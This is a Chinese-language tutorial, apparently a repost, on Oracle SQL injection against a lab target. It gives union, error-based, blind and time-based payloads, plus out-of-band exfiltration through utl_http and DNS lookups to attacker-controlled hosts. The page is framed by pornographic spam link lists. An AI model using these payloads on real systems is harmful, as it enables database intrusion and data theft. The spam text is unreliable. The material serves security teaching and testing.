国产片侵犯亲女视频播放_亚洲精品二区_在线免费国产视频_欧美精品一区二区三区在线_少妇久久久_在线观看av不卡

服務(wù)器之家:專注于服務(wù)器技術(shù)及軟件下載分享
分類導(dǎo)航

Mysql|Sql Server|Oracle|Redis|MongoDB|PostgreSQL|Sqlite|DB2|mariadb|Access|數(shù)據(jù)庫(kù)技術(shù)|

服務(wù)器之家 - 數(shù)據(jù)庫(kù) - Oracle - Oracle SQL注入的實(shí)例總結(jié)

Oracle SQL注入的實(shí)例總結(jié)

2021-11-29 19:09FreeKnight Oracle

在網(wǎng)絡(luò)中,數(shù)據(jù)庫(kù)驅(qū)動(dòng)的Web應(yīng)用隨處可見(jiàn),由此而存在的SQL注入是影響企業(yè)運(yùn)營(yíng)且最具破壞性的漏洞之一,下面這篇文章主要給大家介紹了關(guān)于Oracle SQL注入的相關(guān)資料,需要的朋友可以參考下

0x00 oracle基礎(chǔ)

oracle 基本使用

什么是oracle數(shù)據(jù)庫(kù)?

oracle公司目前是世界上最大的軟件提供商之一,與它并列的還有 microsoft與 adode。并且隨著 oracle的發(fā)展,它已經(jīng)成為了企業(yè)辦公平臺(tái)的最大軟件提供商之一。

oracle數(shù)據(jù)庫(kù)是 oracle (中文名稱叫甲骨文) 公司的核心產(chǎn)品,oracle數(shù)據(jù)庫(kù)是—個(gè)適合于大中型企業(yè)的數(shù)據(jù)庫(kù)管理系統(tǒng)。在所有的數(shù)據(jù)庫(kù)管理系統(tǒng)中(比如:微軟的sql server,ibm的db2等), oracle的主要用戶涉及面非常廣包括銀行、電信、移動(dòng)通信、航空、保險(xiǎn)、金融、電子商務(wù)和跨國(guó)公司等。 oracle產(chǎn)品是免費(fèi)的,可以在 oracle官方網(wǎng)站上下載安裝包,另一方面 oracle服務(wù)是收費(fèi)的。

官網(wǎng)鏈接:https://www.oracle.com/cn/index.html

Oracle SQL注入的實(shí)例總結(jié)

oracle數(shù)據(jù)庫(kù)的特點(diǎn)

  • 完整的數(shù)據(jù)管理功能
  • 數(shù)據(jù)的大量性
  • 數(shù)據(jù)的保存持久性
  • 數(shù)據(jù)庫(kù)共享性
  • 完備關(guān)系的產(chǎn)品
  • 信息準(zhǔn)則---關(guān)系型dbms的所有信息都在邏輯上用一種方法,即表中的值顯式地表示
  • 保證訪問(wèn)的準(zhǔn)則
  • 視圖更新準(zhǔn)則---只要形成視圖的表中的數(shù)據(jù)變化了,相應(yīng)的視圖中的數(shù)據(jù)同時(shí)變化
  • 完整的數(shù)據(jù)管理功能
  • 分布式處理功能
  • 一個(gè) oracle分布式數(shù)據(jù)庫(kù)由 oraclerdbms、sq|net、 sqlconnect和其他非 oracle的關(guān)系型產(chǎn)品構(gòu)成

相比于其他數(shù)據(jù)庫(kù) oracle的優(yōu)缺點(diǎn)

優(yōu)點(diǎn)

  • 開(kāi)放性:oracle能在所有主流平臺(tái)上運(yùn)行(包括 windows)完全支持所有工業(yè)標(biāo)準(zhǔn)采用完全開(kāi)放策略使客戶選擇適合解決方案對(duì)開(kāi)發(fā)商全力支持
  • 并行性:oracle并行服務(wù)器通過(guò)使組結(jié)點(diǎn)共享同簇工作來(lái)擴(kuò)展windownt能力提供高用性和髙伸縮性簇解決方案
  • 安全性:獲得最高認(rèn)證級(jí)別的iso標(biāo)準(zhǔn)認(rèn)證。
  • 性能:oracle性能高保持開(kāi)放平臺(tái)下tpc-d和tpc-c世界記錄
  • 使用風(fēng)險(xiǎn):oracle長(zhǎng)時(shí)間開(kāi)發(fā)經(jīng)驗(yàn)完全向下兼容得廣泛應(yīng)用地風(fēng)險(xiǎn)低

缺點(diǎn)

  • 對(duì)硬件的要求較高
  • 價(jià)格比較昂貴
  • 管理維護(hù)較麻煩
  • 操作較復(fù)雜,需要技術(shù)含量較高
  • oracle 常用數(shù)據(jù)類型

Oracle SQL注入的實(shí)例總結(jié)

登錄oracle數(shù)據(jù)庫(kù)

Oracle SQL注入的實(shí)例總結(jié)

oracle數(shù)據(jù)庫(kù)基本表管理語(yǔ)句

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
創(chuàng)建表
create table 表名(字段名稱 類型 約束)
create table ichunqiu(name char(10) primary key,age int)
 
增加列
alter table 表名 add(字段名稱, 數(shù)據(jù)類型)
alter table ichunqiu add(class_name varchar2(200))
 
刪除表中一列
alter table 表名 set unused column 列名
alter table ichunqiu set unused column name
 
修改表字段
alter table 表名 modify(字段名稱 新的字段類型)
alter table ichunqiu modify(name varchar(200))

** oracle數(shù)據(jù)庫(kù)基本數(shù)據(jù)操作語(yǔ)句**

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
**查詢**
select *|列名|表達(dá)式 from 表名 where 條件 order by 列名
select * from ichunqiu order by age desc  (降序)
select * from ichunqiu order by age asc   (升序)
select * from ichunqiu order by age       (默認(rèn)就是升序)
 
**插入**
insert into 表名 values(所有字段對(duì)應(yīng)值)
insert into 表名 (字段名1,字段名2,字段名3,...)values(字段對(duì)應(yīng)值)
insert into ichunqiu(name,age) values('icq',18)
insert into ichunqiu values('icq',18,'web')
 
**更新**
update 表名 set 字段名稱 = 值 where 更新條件
update ichunqiu set age=25 where name='icq'
 
**刪除**
delete 表名 where 條件
delete ichunqiu where name='ii'

truncate

語(yǔ)法:truncate table 表名

說(shuō)明:將表中數(shù)據(jù)一次性刪除

truncate和 delete區(qū)別

  1. truncate是ddl命令,刪除數(shù)據(jù)不能恢復(fù) ; delete是dml命令,刪除數(shù)據(jù)可以通過(guò)數(shù)據(jù)庫(kù)的日志文件進(jìn)行恢復(fù)
  2. 如果一個(gè)表中記錄很多, truncate相對(duì) delete速度快

oracle權(quán)限控制

oracle權(quán)限概述

權(quán)限允許用戶訪問(wèn)屬于其它用戶的對(duì)象或執(zhí)行程序,oracle系統(tǒng)提供三種權(quán)限: object對(duì)象級(jí)、 system系統(tǒng)級(jí)、role角色級(jí)。這些權(quán)限可以授予給用戶、特殊用戶 public或角色,如果授予一個(gè)權(quán)限給特殊用戶"public" (用戶 public是 oracle預(yù)定義的,每個(gè)用戶享有這個(gè)用戶享有的權(quán)限)那么就意味作將該權(quán)限授予了該數(shù)據(jù)庫(kù)的所有用戶。

對(duì)管理權(quán)限而言,角色是一個(gè)工具,權(quán)限能夠被授予給—個(gè)角色,角色也能被授予給另一個(gè)角色或用戶。用戶可以通過(guò)角色繼承權(quán)限,除了管理權(quán)限外角色服務(wù)沒(méi)有其它目的。權(quán)限可以被授予,也可以用同樣的方式撤銷

權(quán)限分類

oracle數(shù)據(jù)庫(kù)中權(quán)限分為兩類

  • 系統(tǒng)權(quán)限:系統(tǒng)規(guī)定用戶使用數(shù)據(jù)庫(kù)的權(quán)限。(系統(tǒng)權(quán)限是對(duì)用戶而言)
  • 實(shí)體權(quán)限:某種權(quán)限用戶對(duì)其它用戶的表或視圖的存取權(quán)限。(是針對(duì)表或視圖而言的)

系統(tǒng)權(quán)限(用戶權(quán)限管理)

系統(tǒng)權(quán)限分類

dba:擁有全部特權(quán),是系統(tǒng)最高權(quán)限,只有dba才可以創(chuàng)建數(shù)據(jù)庫(kù)結(jié)構(gòu)

resource:擁有 resource權(quán)限的用戶只可以創(chuàng)建實(shí)體,不可以創(chuàng)建數(shù)據(jù)庫(kù)結(jié)構(gòu)

connect:擁有 connect權(quán)限的用戶只可以登錄 oracle,不可以創(chuàng)建實(shí)體,不可以創(chuàng)建數(shù)據(jù)庫(kù)結(jié)構(gòu)

對(duì)于普通用戶:授予 connect, resource權(quán)限

對(duì)于dba管理用戶:授予 connect, resource,dba權(quán)限

系統(tǒng)權(quán)限授權(quán)命令

系統(tǒng)權(quán)限只能由dba用戶授出:sys, system(最開(kāi)始只能是這兩個(gè)用戶)

?
1
2
3
4
sql> grant connect,resource,dba to用戶名1[,用戶名2]...;
 
sql> create user user50 identified by user50;
sql> grant connect,resource to user50;

注:普通用戶通過(guò)授權(quán)可以具有與 system相同的用戶權(quán)限,但不能達(dá)到與sys用戶相同的權(quán)限, system用戶的權(quán)限也可以被回收。

實(shí)體權(quán)限(表權(quán)限管理)

實(shí)體權(quán)限分類

select, update, insert, alter, index, delete,all //all括所有權(quán)限

execute //執(zhí)行存儲(chǔ)過(guò)程權(quán)限

舉例:

?
1
2
3
4
5
grant select,insert, update on tablename to usera;            --賦權(quán)給用戶: usera
grant select, insert, update on tablename to public:          --賦權(quán)給所有用戶
grant select, update on product to usera with grant option;   --usera得到權(quán)限,并可以傳遞
revoke select insert, update on tablename from usera;         --收回給予的權(quán)限從用戶
usera revoke select, insert, update on tablename from public; --收回給予的權(quán)限從所有用戶

注意:如果取消某個(gè)用戶的對(duì)象權(quán)限,那么對(duì)于這個(gè)用戶使用 with grant option授予權(quán)限的用戶來(lái)說(shuō),同樣還會(huì)取消這些用戶的相同權(quán)限,也就是說(shuō)取消授權(quán)時(shí)級(jí)聯(lián)的。

0x01 常見(jiàn)注入類型

引入知識(shí)

oracle中的 dual 表介紹

此表是 oracle數(shù)據(jù)庫(kù)中的一個(gè)自帶表 ,它為了滿足查詢條件 而產(chǎn)生

dual表的特點(diǎn)

  1. dual是 oracle中的偽表(只有一行一列)
  2. 每個(gè)用戶都可以使用
  3. 可能dual表被刪掉,sys可以恢復(fù)

在 oracle中使用查詢語(yǔ)句必須跟一個(gè)表名,如下:

mysql:union select 1, 2, 3

oracle:union select 1, 2, 3 from dual

oracle的注釋符介紹

單行注釋符號(hào)是:--

多行注釋符號(hào)是://**

oracle的 強(qiáng)匹配 類型

在 oracle進(jìn)行類似union査詢數(shù)據(jù)時(shí)候必須讓對(duì)應(yīng)位置上的數(shù)據(jù)類型和表中的列的數(shù)據(jù)類型是一致的,也可以使用null代替某些無(wú)法快速猜測(cè)出數(shù)據(jù)類型的位置

舉例:

mysql::union select 1, 2, 3

oracle:union select null, null, null from dual

union聯(lián)合查詢注入

oracle union聯(lián)合查詢注入基本流程

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
**1.判斷是否存在注入**
http://172.16.12.2:81/orcl.php?id=1' " and 1=1 and '1'='1' or '1'='1'
 
**2.判斷字段數(shù)**
當(dāng)前表有4個(gè)字段
id=1 order by 4--  
 
**3.聯(lián)合查詢找回顯位**
oracle 數(shù)據(jù)庫(kù)查詢需要 from dual (虛表/偽表) 專為查詢語(yǔ)句設(shè)置的表
union select * from dual--
id=1 union select 1,2,3,4 from dual--
null代替所有類型
id=1 union select null,null,null,null from dual--
id=1 union select 1,'admin',3,4 from dual--
 
**4.查詢數(shù)據(jù)庫(kù)版本、數(shù)據(jù)庫(kù)連接用戶、當(dāng)前實(shí)例名**
id=1 union select 1,(select banner from sys.v_$version where rownum=1),3,4 from dual--
id=1 union select 1,(select sys_context('userenv','current_user') from dual),3,4 from dual-- #test
id=-1 union select 1,(select instance_name from v$instance),3,4 from dual--
 
**5.遍歷數(shù)據(jù)庫(kù)名**
id=-1 union select 1,(select owner from all_tables where rownum=1),3,4 from dual--
id=-1 union select 1,(select owner from all_tables where rownum=1 and owner not in ('sys')),3,4 from dual--
id=-1 union select 1,(select owner from all_tables where rownum=1 and owner not in('sys','outln','system')),3,4 from dual--
 
**6.遍歷表名**
id=-1 union select 1,(select table_name from user_tables where rownum=1 and table_name not in ('admin1','demo','flag','ichunqiu','stu')),3,4 from dual--
 
**7.遍歷flag表字段名**
id=-1 union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='flag' and column_name not in ('id','name','pwd','flag')),3,4 from dual--
 
**8.查詢表字段數(shù)據(jù)**
id=-1 union select 1,(select name||age from demo where rownum=1),3,4 from dual--
id=-1 union select 1,(select "name"||"age" from demo where rownum=1),3,4 from dual--
id=-1 union select 1,(select 'username:'||name||'age:'||age from demo where rownum=1),3,4 from dual--

error 注入

常用顯錯(cuò)函數(shù)

dbms_xdb_version.checkin() 函數(shù)

屬于 dbms_xdb_version下的 checkin功能。此功能檢入簽岀的vcr并返回新創(chuàng)建的版本的資源id。

payload:

?
1
and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null--

dbms_xdb_version.uncheckout() 函數(shù)

用法和checkin一致

payload:

?
1
and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null--

**utl_inaddr.get_host_name() ** 函數(shù)

說(shuō)明:這種方法在 oracle 8g,9g,10g中不需要任何權(quán)限,但是在** oracle 11g及以后的版本中** ,官方加強(qiáng)了訪問(wèn)控制權(quán)限,所以在11g以后要使用此方法進(jìn)行報(bào)錯(cuò)注入,當(dāng)前數(shù)據(jù)庫(kù)用戶必須有網(wǎng)絡(luò)訪問(wèn)權(quán)限

報(bào)錯(cuò)方法:獲取ip地址,其參數(shù)如果解析不了會(huì)報(bào)錯(cuò),顯示傳遞的參數(shù)。如果其參數(shù)是一個(gè)sql語(yǔ)句,那么報(bào)錯(cuò)就會(huì)把結(jié)果給顯示出來(lái)。

payload:

?
1
and utl_inaddr.get_host_name((select user from dual))=1--

其他常用顯錯(cuò)函數(shù)

 

函數(shù)名 payload
dbms_xdb_version.makeversioned() and (select dbms_xdb_version.makeversioned ((select user from dual)) from dual) is not null--
dbms_utility.sqlid_to_sqlhash() and (select dbms_utility.sqlid_to_sqlhash ((select user from dual)) from dual) is not null--
ordsys.ord_dicom.getmappingxpath() and select ordsys.ord_dicom.getmappingxpath ((select user from dual),user,user) =1--
ctxsys.drithsx.sn() and (select ctxsys.drithsx.sn ((select user from dual)) from dual) =1--

 

oracle error 注入基本流程

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
**1.判斷是否存在注入**
http://172.16.12.2:81/orcl.php?id=1' " and 1=1 and '1'='1' or '1'='1'
 
2.**查詢數(shù)據(jù)庫(kù)版本、數(shù)據(jù)庫(kù)連接用戶、當(dāng)前實(shí)例名**
id=1 and dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) is not null--
id=1 and dbms_xdb_version.checkin((select sys_context('userenv','current_user') from dual)) is not null--
id=1 and dbms_xdb_version.checkin((select instance_name from v$instance)) is not null--
 
2.**遍歷獲取數(shù)據(jù)庫(kù)名**
id=1 and dbms_xdb_version.checkin((select owner from all_tables where rownum=1)) is not null--
id=1 and dbms_xdb_version.checkin((select owner from all_tables where rownum=1 and owner not in ('sys'))) is not null--
 
3.**遍歷獲取表名**
id=1 and dbms_xdb_version.checkin((select table_name from user_tables where rownum=1)) is not null--
id=1 and dbms_xdb_version.checkin((select table_name from user_tables where rownum=1 and table_name not in ('admin1','demo'))) is not null--
 
**4.遍歷獲取字段名**
id=1 and dbms_xdb_version.checkin((select column_name from user_tab_columns where rownum=1 and table_name='flag' and column_name not in ('id','name','pwd','flag'))) is not null--
 
5.**查詢表字段數(shù)據(jù)**
id=1 and dbms_xdb_version.checkin((select name||age from demo where rownum=1)) is not null--
id=1 and dbms_xdb_version.checkin((select "name"||"age" from demo where rownum=1)) is not null--
id=1 and dbms_xdb_version.checkin((select 'username:'||name||'age:'||age from demo where rownum=1)) is not null--

bool盲注

bool盲注相關(guān)函數(shù)

decode() ** 函數(shù)**

用法 :decode(條件,值1,翻譯值1,值2,翻譯值2… 值n, 翻譯值n,缺省值)

含義 :if(條件 == 值1) -> 返回翻譯值1,否則返回默認(rèn)值

舉例 :查詢 oracle版本,判斷版本的字符串第一個(gè)字符是否是o

payload :

?
1
and1=(select decode(substr((select banner from sys.v_$version where rownum=1),1,1), 'o', 1, 0) from dual--

說(shuō)明 :其中 select語(yǔ)句可以替換,如:

獲取當(dāng)前用戶: selectuser from dual;

獲取字符長(zhǎng)度: select length(user) from dual;

instr() ** 函數(shù)**

用法 :instr( string1, string2 ) / instr(源字符串,目標(biāo)字符)

含義 :搜索指定的字符返回發(fā)現(xiàn)指定的字符的位置, string1是被搜索的字符串, string2是希望搜索的字符串

注入思路 : instr會(huì)返回'sql'位置數(shù)據(jù)在査詢結(jié)果中的位置,未找到便返回0,可通過(guò)對(duì)‘sql′位置進(jìn)行遍歷和迭代,獲取到數(shù)據(jù)

舉例 :查詢當(dāng)前的用戶,判斷用戶名第一個(gè)字符是否是t

payload :

?
1
and1=(instr((select user from dual),'t'))--

oracle bool盲注基本流程

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
**1.判斷注入**
http://172.16.12.2:81/orcl.php?id=1' " and 1=1 and '1'='1' or '1'='1'
 
2.**查詢數(shù)據(jù)庫(kù)版本/用戶**
decode decode(substr(('abc'),1,1),'a',1,0)
length 返回字符串長(zhǎng)度
ascii  返回字符的ascii碼
instr  搜索指定結(jié)果內(nèi)是否包含關(guān)鍵字 存在返回1 否則返回0
id=1 and 1=(select decode(substr((select banner from sys.v_$version where rownum=1),1,1),'o',1,0) from dual)--
id=1 and (select length(user) from dual)=4--
id=1 and (select ascii('a') from dual)=97--
id=1 and (select ascii(substr((select user from dual),1,1)) from dual)=84-- #ascii碼判斷字符 t
id=1 and (select ascii(substr((select user from dual),2,1)) from dual)=69-- #ascii碼判斷字符 e
 
id=1 and 1=(instr((select user from dual),'t'))--
id=1 and 1=(instr((select user from dual),'te'))--
id=1 and 1=(instr((select user from dual),'tes'))--
id=1 and 1=(instr((select user from dual),'test'))--
 
**3.獲取庫(kù)名**
id=1 and (select length(owner) from all_tables where rownum=1)=3-- #第一個(gè)庫(kù)名長(zhǎng)度為3
id=1 and (select ascii(substr((select owner from all_tables where rownum=1),1,1)) from dual)=83--
#ascii為83 s
id=1 and (select ascii(substr((select owner from all_tables where rownum=1),2,1)) from dual)=89--
#ascii為89 y
id=1 and (select ascii(substr((select owner from all_tables where rownum=1),3,1)) from dual)=83--
#ascii為83 s
 
**4.獲取表名**
id=1 and (select ascii(substr((select table_name from user_tables where rownum=1),1,1)) from dual)=105-- 第一個(gè)表名的第一個(gè)字符是i
id=1 and (select ascii(substr((select table_name from user_tables where rownum=1),2,1)) from dual)=99-- 第一個(gè)表名的第二個(gè)字符是c
 
**5.獲取字段名**
id=1 and (select ascii(substr((select column_name from user_tab_columns where rownum=1 and table_name='icq'),1,1)) from dual)=117-- icq表內(nèi)的第一個(gè)字段的第一個(gè)字符u
id=1 and (select ascii(substr((select column_name from user_tab_columns where rownum=1 and table_name='icq'),2,1)) from dual)=115-- icq表內(nèi)的第一個(gè)字段的第二個(gè)字符s

time 盲注

time盲注相關(guān)函數(shù)

dbms_pipe.receive_message() ** 函數(shù)**

用法 :dbms_pipe.receive_message(' 任意值 ', 延遲時(shí)間 )

舉例 :dbms_pipe.receive_message('icq',5) 表示從icq管道返回的數(shù)據(jù)需要等待5秒

payload :

?
1
and dbms_pipe.receive_message('icq',5)=1

常用payload

?
1
2
3
4
5
id=1 and dbms_pipe.receive_message((), 5)=1
id=1 and (select decode(substr((select banner from sys.v_$version where rownum=1),1,1),'o', dbms_pipe.receive_message('icq', 5),0) from dual)=1--
截取數(shù)據(jù)庫(kù)版本第一個(gè)字符為o就延時(shí)5s
id=1 and (select decode(length(user),4,dbms_pipe.receive_message('icq', 5),0) from dual)=1--
用戶名長(zhǎng)度為4 就延時(shí)5s

帶外注入

oracle帶外注入

oracle的帶外注入和 dnslog很相似,需要使用網(wǎng)絡(luò)請(qǐng)求的函數(shù) 進(jìn)行注入利用,其中可以進(jìn)行網(wǎng)絡(luò)請(qǐng)求的函數(shù)如下等

帶外注入相關(guān)函數(shù)

utl_http.request() ** 函數(shù)**

函數(shù)說(shuō)明 :在oracle中提供了utlhttprequest函數(shù),用于取得web服務(wù)器的請(qǐng)求信息,因此,攻擊者可以自己監(jiān)聽(tīng)端口,然后通過(guò)這個(gè)函數(shù)用請(qǐng)求將需要的數(shù)據(jù)發(fā)送反彈回頭

utl_http包介紹 :提供了對(duì)http的一些操作。

舉例 :執(zhí)行這條sql語(yǔ)句,將返回 baidu. com的html源碼

?
1
select utl_http.request('http://www.baidu.com') from dual

utl_inaddr.get_host_address() 函數(shù)

常用payload :

?
1
and (selectutl_inaddr.get_host_address((select user from dual)||'.aaa.com(自己搭建dnslog)') from dual)is not null --

sys.dbms_ldap.init()

常用payload :

?
1
and (select sys.dbms_ldap.init((select userfrom dual)||'.aaaa.com(自己搭建dnslog)') from dual)is notnull --

帶外注入過(guò)程

判斷 utl_http存儲(chǔ)過(guò)程是否可用在注入點(diǎn)提交如下查詢:

?
1
select count(*) from allobjects where object name='utl_http'

通過(guò)頁(yè)面回顯判斷utl_http是否可用,如果頁(yè)面返回正常,則說(shuō)明utl_http存儲(chǔ)過(guò)程可用使用nc監(jiān)聽(tīng)數(shù)據(jù)

在本地用nc監(jiān)聽(tīng)一個(gè)端口,要求本地主機(jī)擁有一個(gè)外網(wǎng)的ip地址

nc-lvvp監(jiān)聽(tīng)端口

反彈數(shù)據(jù)信息在注入點(diǎn)提交:

?
1
2
# 發(fā)送請(qǐng)求,獲得當(dāng)前用戶名
id=1 and utl_http.request('http://ip:監(jiān)聽(tīng)端口/'||(select user from dual))=1--

即可實(shí)現(xiàn)注入攻擊

注意:每次在注入點(diǎn)提交一次請(qǐng)求,nc監(jiān)聽(tīng)完后就會(huì)斷開(kāi),需要重新啟動(dòng)nc監(jiān)聽(tīng)

常用payload

?
1
2
3
4
5
6
7
# 判斷utl_http是否可用
id=1 and exists (select count(*) from all_objects where object_name='utl_http')--
id=1 and (select count(*) from all_objects where object_name='utl_http')>1--
id=1 union select 1,null,3,(select count(*) from all_objects where object_name='utl_http') from dual--
 
# 發(fā)送請(qǐng)求,獲得當(dāng)前用戶名
id=1 and utl_http.request('http://ip:監(jiān)聽(tīng)端口/'||(select user from dual))=1--

總結(jié)

到此這篇關(guān)于oracle sql注入的文章就介紹到這了,更多相關(guān)oracle sql注入內(nèi)容請(qǐng)搜索服務(wù)器之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持服務(wù)器之家!

原文鏈接:https://www.cnblogs.com/wuhongbin/p/15527226.html

延伸 · 閱讀

精彩推薦
主站蜘蛛池模板: 成人永久免费视频 | 国产精品不卡在线播放 | 国产黄色播放 | 天天澡天天狠天天天做 | 在线看av的网址 | 吴梦梦到粉丝家实战华中在线观看 | 精品一区二区三区免费 | 亚洲精品一 | 国产福利一区二区三区视频 | 久久久久国产精品 | 亚洲日本乱码在线观看 | 欧美色综合天天久久综合精品 | 日韩精品一区二区三区在线 | 日韩在线网址 | 亚洲午夜av | 黄色大片免费网址 | 午夜a级理论片915影院 | 久久久天堂国产精品女人 | 夜夜久久| 91免费观看视频 | 欧美一区二区三区在线观看视频 | 久久久精品日本 | 精品视频在线一区 | 国产午夜精品久久 | 亚洲国产中文字幕 | 香蕉久久精品视频 | 欧美日批 | 日本精品一区 | 午夜视频在线播放 | 日本不卡一区二区三区 | 黄毛片免费看 | 理论影院 | 国产精品18久久久久vr手机版特色 | 黄色小网站免费观看 | 欧美日韩一级视频 | 日韩电影一区二区在线观看 | 国产精品久久久久久久久 | 羞羞动漫在线观看 | 欧美一区二区三区精品 | 日日骚一区 | eeuss国产一区二区三区四区 |